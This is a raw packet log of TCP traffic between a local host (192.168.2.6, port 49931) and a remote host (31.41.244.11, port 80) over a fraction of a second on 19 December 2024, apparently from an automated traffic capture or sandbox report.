Dec 19, 2024 16:10:42.619437933 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.619487047 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.619528055 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.619609118 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.619667053 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.619770050 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.619816065 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.619821072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.619859934 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.620707989 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.620748043 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.620752096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.620793104 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.621479034 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.621524096 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.643660069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.643680096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.643716097 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.643754959 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.643928051 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.644011021 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.644072056 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.644109964 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.644993067 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.645036936 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.645076036 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.645114899 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.645685911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.645771980 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.645811081 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.646593094 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.646636963 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.646641970 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.647511005 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.647608995 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.647608995 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.647629023 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.647661924 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.648401976 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.648480892 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.648515940 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.649302959 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.649342060 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.649432898 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.649468899 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.650242090 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.650372982 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.650418043 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.651091099 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.651141882 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.651171923 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.651210070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.652010918 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.652060986 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.652129889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.652169943 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.652931929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.652980089 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.653047085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.653086901 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.653837919 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.653877974 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.653943062 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.653985977 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.654815912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.654927015 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.654967070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.655689955 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.655734062 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.655786037 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.655831099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.656627893 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.656671047 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.656737089 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.656773090 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.657471895 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.657521009 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.657560110 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.657597065 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.658406973 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.658572912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.658617020 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.659353971 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.659367085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.659396887 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.659430027 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.660394907 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.660446882 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.660521030 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.660562038 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.661232948 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.661287069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.661324024 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.662031889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.662111998 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.662167072 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.662921906 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.662976027 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.663012028 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.663053989 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.663882971 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.663923979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.663924932 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.663959026 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.664818048 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.664946079 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.664968014 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.665004015 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.665656090 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.665707111 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.665738106 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.665781021 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.666647911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.666735888 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.666766882 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.666817904 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.667648077 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.667686939 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.667717934 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.667756081 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.668524981 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.668570042 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.668574095 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.668606997 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.669303894 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.669348955 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.669414997 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.669502974 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.670192957 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.670242071 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.670303106 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.670401096 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.671106100 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.671148062 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.671329021 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.671590090 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.672032118 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.672068119 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.672146082 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.672235012 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.672925949 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.673042059 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.673088074 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.673912048 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.673959017 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.673970938 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.674035072 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.674904108 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.674916983 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.674963951 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.675669909 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.675709009 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.675741911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.675780058 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.676573992 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.676641941 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.676672935 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.676713943 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.677551985 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.677565098 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.677598953 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.677611113 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.678422928 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.678468943 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.678545952 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.678596020 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.679310083 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.679378986 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.679409027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.679450035 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.680231094 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.680282116 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.680316925 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.680356026 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.681190968 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.681235075 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.681391001 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.681435108 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.682039022 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.682086945 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.682167053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.682214022 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.682984114 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.683027029 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.683100939 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.683140039 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.683825016 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.683867931 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.683969021 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.684005976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.684758902 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.684813023 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.684870958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.684910059 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.685684919 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.685730934 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.685765982 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.685801983 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.686589956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.686636925 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.686753988 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.686922073 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.687743902 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.687800884 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.687832117 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.687908888 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.812644005 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.812736034 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.812798023 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.812972069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.813015938 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.813040018 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.813080072 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.813903093 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.814017057 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.814054012 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.814203024 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.814660072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.814783096 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.835628986 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.835700035 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.835735083 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.835777044 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.835802078 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.835889101 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.835987091 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.836617947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.836663008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.836689949 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.836725950 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.837649107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.837690115 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.837701082 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.837733030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.838541031 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.838588953 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.838603020 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.838635921 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.839360952 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.839442968 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.839504004 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.840260983 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.840303898 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.840322971 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.840361118 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.841187000 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.841232061 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.841234922 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.841269970 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.842103004 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.842144012 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.842156887 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.842183113 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.843992949 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.844058990 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.844088078 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.844103098 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.844134092 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.844161987 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.844191074 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.844266891 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.844861984 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.844923019 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.844994068 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.845165968 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.845808029 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.845855951 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.845922947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.845968008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.846662998 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.846704006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.846776962 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.846812963 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.847542048 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.847589016 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.847671032 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.847709894 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.848573923 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.848617077 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.848670006 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.848715067 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.849555969 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.849682093 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.849690914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.849725008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.850297928 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.850402117 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.850414991 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.850569010 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.851260900 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.851305008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.851429939 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.851471901 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.852101088 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.852229118 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.852271080 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.853007078 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.853135109 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.853337049 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.853610039 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.853962898 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.854002953 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.854084969 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.854121923 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.855168104 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.855215073 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.855395079 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.855442047 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.856689930 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.856734991 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.856803894 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.856816053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.856853962 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.856857061 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.856892109 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.857561111 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.857598066 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.857692003 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.857965946 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.858474970 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.858515024 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.858587980 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.858635902 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.859703064 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.859756947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.859806061 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.860308886 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.860371113 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.860399961 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.860444069 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.861463070 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.861474991 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.861515999 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.862131119 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.862209082 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.862222910 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.862536907 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.863025904 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.863096952 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.863156080 CET	80	49931	31.41.244.11	192.168.2.6
